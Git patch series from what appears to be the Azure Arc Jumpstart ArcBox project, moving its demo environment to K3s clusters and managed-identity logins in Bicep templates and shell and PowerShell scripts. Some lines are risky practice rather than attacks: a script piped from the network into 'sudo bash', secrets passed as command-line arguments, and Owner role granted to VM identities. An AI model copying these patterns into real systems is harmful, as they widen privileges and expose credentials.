fieldPath: spec.serviceAccountName + - name: CSI_ATTACHER_IMAGE + value: "longhornio/csi-attacher:v4.4.2" + - name: CSI_PROVISIONER_IMAGE + value: "longhornio/csi-provisioner:v3.6.2" + - name: CSI_NODE_DRIVER_REGISTRAR_IMAGE + value: "longhornio/csi-node-driver-registrar:v2.9.2" + - name: CSI_RESIZER_IMAGE + value: "longhornio/csi-resizer:v1.9.2" + - name: CSI_SNAPSHOTTER_IMAGE + value: "longhornio/csi-snapshotter:v6.3.2" + - name: CSI_LIVENESS_PROBE_IMAGE + value: "longhornio/livenessprobe:v2.11.0" + priorityClassName: "longhorn-critical" + serviceAccountName: longhorn-service-account + securityContext: + runAsUser: 0 +--- +# Source: longhorn/templates/deployment-ui.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + name: longhorn-ui + namespace: longhorn-system +spec: + replicas: 2 + selector: + matchLabels: + app: longhorn-ui + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + spec: + serviceAccountName: longhorn-ui-service-account + affinity: + podAntiAffinity: + preferredDuringSchedulingIgnoredDuringExecution: + - weight: 1 + podAffinityTerm: + labelSelector: + matchExpressions: + - key: app + operator: In + values: + - longhorn-ui + topologyKey: kubernetes.io/hostname + containers: + - name: longhorn-ui + image: longhornio/longhorn-ui:v1.6.0 + imagePullPolicy: IfNotPresent + volumeMounts: + - name : nginx-cache + mountPath: /var/cache/nginx/ + - name : nginx-config + mountPath: /var/config/nginx/ + - name: var-run + mountPath: /var/run/ + ports: + - containerPort: 8000 + name: http + env: + - name: LONGHORN_MANAGER_IP + value: "http://longhorn-backend:9500" + - name: LONGHORN_UI_PORT + value: "8000" + volumes: + - emptyDir: {} + name: nginx-cache + - emptyDir: {} + name: nginx-config + - emptyDir: {} + name: var-run + priorityClassName: "longhorn-critical" +--- +# Source: longhorn/templates/validate-psp-install.yaml +# \ No newline at end of file diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 51a643c2ca..c199296e18 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -2,7 +2,7 @@ param vmName string = 'ArcBox-Client' @description('The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster') -param capiArcDataClusterName string = 'ArcBox-CAPI-Data' +param k3sArcDataClusterName string = 'ArcBox-K3s-Data' @description('Username for the Virtual Machine') param windowsAdminUsername string = 'arcdemo' @@ -102,6 +102,9 @@ param aksdrArcClusterName string = 'ArcBox-AKS-DR-Data' @description('Domain name for the jumpstart environment') param addsDomainName string = 'jumpstart.local' +@description('The custom location RPO ID') +param customLocationRPOID string + var bastionName = 'ArcBox-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -206,7 +209,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID}' } } } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep index dc0cf1ad5c..ba5e3b8f0b 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep @@ -50,7 +50,7 @@ param enableRBAC bool = true param osType string = 'Linux' @description('The version of Kubernetes') -param kubernetesVersion string = '1.26.6' +param kubernetesVersion string = '1.27.9' var serviceCidr_primary = '10.20.64.0/19' var dnsServiceIP_primary = '10.20.64.10' diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 342a423213..d1cc5183e6 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -49,35 +49,66 @@ param templateBaseUrl string @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false -var publicIpAddressName = '${vmName}-PIP' -var networkInterfaceName = '${vmName}-NIC' -var osDiskType = 'Premium_LRS' -var PublicIPNoBastion = { - id: publicIpAddress.id -} +@description('Storage account container name for artifacts') +param storageContainerName string +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'Full' + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string -resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { - name: networkInterfaceName - location: azureLocation - properties: { - ipConfigurations: [ - { - name: 'ipconfig1' - properties: { - subnet: { - id: subnetId - } - privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : null - } - } - ] - } -} +@description('The number of IP addresses to create') +param numberOfIPAddresses int = 7 -resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ - name: publicIpAddressName +var publicIpAddressName = '${vmName}-PIP' +var networkInterfaceName = '${vmName}-NIC' +var osDiskType = 'Premium_LRS' +// var PublicIPNoBastion = { +// id: publicIpAddress.id +// } +var k3sControlPlane = 'true' // deploy single-node k3s control plane +var diskSize = (flavor == 'DataOps') ? 512 : 64 + + +// resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { +// name: networkInterfaceName +// location: azureLocation +// properties: { +// ipConfigurations: [ +// { +// name: 'ipconfig1' +// properties: { +// subnet: { +// id: subnetId +// } +// privateIPAllocationMethod: 'Dynamic' +// publicIPAddress: deployBastion== false ? PublicIPNoBastion : null +// } +// } +// ] +// } +// } + +// resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ +// name: publicIpAddressName +// location: azureLocation +// properties: { +// publicIPAllocationMethod: 'Static' +// publicIPAddressVersion: 'IPv4' +// idleTimeoutInMinutes: 4 +// } +// sku: { +// name: 'Basic' +// } +// } + +// Create multiple public IP addresses if deployBastion is false +resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { + name: '${publicIpAddressName}${i}' location: azureLocation properties: { publicIPAllocationMethod: 'Static' @@ -87,6 +118,27 @@ resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(d sku: { name: 'Basic' } +}] + +// Create multiple NIC IP configurations and assign the public IP to the IP configuration if deployBastion is false +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [for i in range(1, numberOfIPAddresses): { + name: 'ipconfig${i}' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + publicIPAddress: { + id: publicIpAddresses[i-1].id + } + primary: i == 1 ? true : false + } + }] + } } resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { @@ -105,6 +157,7 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { managedDisk: { storageAccountType: osDiskType } + diskSizeGB: diskSize } imageReference: { publisher: 'canonical' @@ -149,7 +202,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${deployBastion}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep new file mode 100644 index 0000000000..7b93acdea6 --- /dev/null +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -0,0 +1,150 @@ +@description('The name of you Virtual Machine') +param vmName string = 'ArcBox-K3s-Node' + +@description('Username for the Virtual Machine') +param adminUsername string = 'arcdemo' + +@description('SSH Key for the Virtual Machine. SSH key is recommended over password') +@secure() +param sshRSAPublicKey string + +@description('The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version') +@allowed([ + '22_04-lts-gen2' +]) +param ubuntuOSVersion string = '22_04-lts-gen2' + +@description('Location for all resources.') +param azureLocation string = resourceGroup().location + +@description('Resource Id of the subnet in the virtual network') +param subnetId string + +param resourceTags object = { + Project: 'jumpstart_arcbox' +} + +@description('Azure service principal client id') +param spnClientId string + +@description('Azure service principal client secret') +@secure() +param spnClientSecret string + +@description('Azure AD tenant id for your service principal') +param spnTenantId string + +@description('Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json') +param stagingStorageAccountName string + +@description('Name of the Log Analytics workspace used with cluster extensions') +param logAnalyticsWorkspace string + +@description('The base URL used for accessing artifacts and automation artifacts') +param templateBaseUrl string + +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'Full' + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string + +@description('Storage account container name for artifacts') +param storageContainerName string + +var networkInterfaceName = '${vmName}-NIC' +var osDiskType = 'Premium_LRS' +var vmSize = (flavor == 'DevOps') ? 'Standard_B2ms' : 'Standard_B8ms' +var diskSize = (flavor == 'DataOps') ? 512 : 64 + +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [ + { + name: 'ipconfig1' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + } + } + ] + } +} + +resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { + name: vmName + location: azureLocation + tags: resourceTags + properties: { + hardwareProfile: { + vmSize: vmSize + } + storageProfile: { + osDisk: { + name: '${vmName}-OSDisk' + caching: 'ReadWrite' + createOption: 'FromImage' + managedDisk: { + storageAccountType: osDiskType + } + diskSizeGB: diskSize + } + imageReference: { + publisher: 'canonical' + offer: '0001-com-ubuntu-server-jammy' + sku: ubuntuOSVersion + version: 'latest' + } + } + networkProfile: { + networkInterfaces: [ + { + id: networkInterface.id + } + ] + } + osProfile: { + computerName: vmName + adminUsername: adminUsername + linuxConfiguration: { + disablePasswordAuthentication: true + ssh: { + publicKeys: [ + { + path: '/home/${adminUsername}/.ssh/authorized_keys' + keyData: sshRSAPublicKey + } + ] + } + } + } + } +} + +resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { + parent: vm + name: 'installscript_k3s' + location: azureLocation + properties: { + publisher: 'Microsoft.Azure.Extensions' + type: 'CustomScript' + typeHandlerVersion: '2.1' + autoUpgradeMinorVersion: true + settings: {} + protectedSettings: { + commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' + fileUris: [ + '${templateBaseUrl}artifacts/installK3s.sh' + ] + } + } +} + +output privateIP string = networkInterface.properties.ipConfigurations[0].properties.privateIPAddress diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 5287d63ee8..3efc686c0f 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -40,7 +40,7 @@ param logAnalyticsWorkspaceName string param flavor string = 'Full' @description('Target GitHub account') -param githubAccount string = 'microsoft' +param githubAccount string = 'zaidmohd' @description('Target GitHub branch') param githubBranch string = 'arcbox_3.0' @@ -49,7 +49,7 @@ param githubBranch string = 'arcbox_3.0' param deployBastion bool = false @description('User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps') -param githubUser string = 'microsoft' +param githubUser string = 'zaidmohd' @description('Active directory domain services domain name') param addsDomainName string = 'jumpstart.local' @@ -60,15 +60,18 @@ param guid string = substring(newGuid(),0,4) @description('Azure location to deploy all resources') param location string = resourceGroup().location -var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' +@description('The custom location RPO ID') +param customLocationRPOID string -var capiArcDataClusterName = 'ArcBox-CAPI-Data-${guid}' -var k3sArcDataClusterName = 'ArcBox-K3s-${guid}' +var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' var aksArcDataClusterName = 'ArcBox-AKS-Data-${guid}' var aksDrArcDataClusterName = 'ArcBox-AKS-DR-Data-${guid}' +var k3sArcDataClusterName = 'ArcBox-DataSvc-K3s-${guid}' +var k3sArcClusterName = 'ArcBox-K3s-${guid}' +var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster -module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { - name: 'ubuntuCAPIDeployment' +module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcDeployment' params: { sshRSAPublicKey: sshRSAPublicKey spnClientId: spnClientId @@ -80,16 +83,35 @@ module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion azureLocation: location + vmName : k3sArcDataClusterName + storageContainerName: toLower(k3sArcDataClusterName) flavor: flavor - capiArcDataClusterName : capiArcDataClusterName + } +} + +module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'Full' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcNodesDeployment-${i}' + params: { + sshRSAPublicKey: sshRSAPublicKey + spnClientId: spnClientId + spnClientSecret: spnClientSecret + spnTenantId: spnTenantId + stagingStorageAccountName: stagingStorageAccountDeployment.outputs.storageAccountName + logAnalyticsWorkspace: logAnalyticsWorkspaceName + templateBaseUrl: templateBaseUrl + subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId + azureLocation: location + flavor: flavor + vmName : '${k3sArcDataClusterName}-Node-0${i}' + storageContainerName: toLower(k3sArcDataClusterName) } dependsOn: [ - updateVNetDNSServers + ubuntuRancherK3sDataSvcDeployment ] -} +}] -module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { - name: 'ubuntuRancherDeployment' +module ubuntuRancherK3sDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { + name: 'ubuntuRancherK3sDeployment' params: { sshRSAPublicKey: sshRSAPublicKey spnClientId: spnClientId @@ -101,7 +123,9 @@ module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion azureLocation: location - vmName : k3sArcDataClusterName + vmName : k3sArcClusterName + storageContainerName: toLower(k3sArcClusterName) + flavor: flavor } } @@ -122,13 +146,14 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { deployBastion: deployBastion githubUser: githubUser location: location - k3sArcClusterName : k3sArcDataClusterName - capiArcDataClusterName : capiArcDataClusterName + k3sArcDataClusterName : k3sArcDataClusterName + k3sArcClusterName : k3sArcClusterName aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName vmAutologon: vmAutologon rdpPort: rdpPort addsDomainName: addsDomainName + customLocationRPOID: customLocationRPOID } dependsOn: [ updateVNetDNSServers From 25238a37a0bfb14122f638591d6e641360d5cdd5 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 29 May 2024 14:59:55 -0400 Subject: [PATCH 122/456] fix az login --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 406795706e..402eaace64 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -37,7 +37,7 @@ $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" # Required for CLI commands Write-Header "Az CLI Login" -az login --identity --tenant $spnTenantId +az login --identity az account set -s $env:subscriptionId # Downloading ArcBox-DataSvc-K3s Kubernetes cluster kubeconfig file From bd721bf82ec0e2253a856a185cacf2a07ed2e438 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 29 May 2024 22:35:39 +0200 Subject: [PATCH 123/456] Updated storage account for VHD files Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index bb8f3e812e..c6abecdca4 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -13,7 +13,7 @@ $azureLocation = $env:azureLocation $resourceGroup = $env:resourceGroup # Moved VHD storage account details here to keep only in place to prevent duplicates. -$vhdSourceFolder = "https://jsvhds.blob.core.windows.net/arcbox/*" +$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/*" # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" From 4f0538379e6b342d384eb6e8a58b1cfa272f2818 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 29 May 2024 21:46:43 -0400 Subject: [PATCH 124/456] update to managed identity --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- azure_jumpstart_arcbox/artifacts/installK3s.sh | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ba98390998..7084717a84 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -31,7 +31,7 @@ Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscrip # Required for CLI commands Write-Header "Az CLI Login" -az login --identity --tenant $spnTenantId +az login --identity az account set -s $env:subscriptionId # Retrieve Azure Key Vault secrets and store as runtime environment variables diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 04df2fa835..a1eb599b00 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -56,7 +56,8 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash echo "" echo "Log in to Azure" echo "" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +# sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +sudo -u $adminUsername az login --identity sudo -u $adminUsername az account set --subscription $subscriptionId az -v From 1334251d44a1ac02dd74b4d94ca608c2349d9d4a Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 30 May 2024 14:37:59 -0400 Subject: [PATCH 125/456] enable system assigned identity --- .../bicep/kubernetes/ubuntuRancher.bicep | 13 +++++++++++++ .../bicep/kubernetes/ubuntuRancherNodes.bicep | 13 ++++++++++++- 2 files changed, 25 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index d1cc5183e6..1ad353169b 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -145,6 +145,9 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: azureLocation tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: vmSize @@ -209,3 +212,13 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 } } } + +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep index 7b93acdea6..f76002a3a1 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -82,6 +82,9 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: azureLocation tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: vmSize @@ -147,4 +150,12 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 } } -output privateIP string = networkInterface.properties.ipConfigurations[0].properties.privateIPAddress +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} From e67a6362fe57f823b0c51e3c37a4779214faf563 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 30 May 2024 16:40:28 -0400 Subject: [PATCH 126/456] remove debugging --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index a1eb599b00..71f520aaf0 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -140,7 +140,7 @@ if [[ "$k3sControlPlane" == "true" ]]; then echo "" resourceGroup=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $resourceGroup --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) - sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' --debug + sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' # Enabling Container Insights and Microsoft Defender for Containers cluster extensions echo "" From af8d36b85a901e3afc3d1c73f57a3211802491c4 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 4 Jun 2024 21:47:41 -0400 Subject: [PATCH 127/456] comment resource provider, this will be part of pre-req --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 71f520aaf0..c41d24fd68 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -123,15 +123,15 @@ if [[ "$k3sControlPlane" == "true" ]]; then sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $k3sClusterNodeConfig - # Registering Azure resource providers - echo "" - echo "Registering Azure resource providers" - echo "" - sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait - sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait - sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait - sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait - sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait + # # Registering Azure resource providers + # echo "" + # echo "Registering Azure resource providers" + # echo "" + # sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait # sudo service sshd restart # Onboard the cluster to Azure Arc From d5e59bb726c23340f067ebb4ddaa42cb4184c70a Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 4 Jun 2024 21:59:50 -0400 Subject: [PATCH 128/456] update ip address --- .../bicep/kubernetes/ubuntuRancher.bicep | 40 +------------------ 1 file changed, 1 insertion(+), 39 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 1ad353169b..9eef2d56ff 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -61,50 +61,12 @@ param storageContainerName string ]) param flavor string -@description('The number of IP addresses to create') -param numberOfIPAddresses int = 7 - var publicIpAddressName = '${vmName}-PIP' var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' -// var PublicIPNoBastion = { -// id: 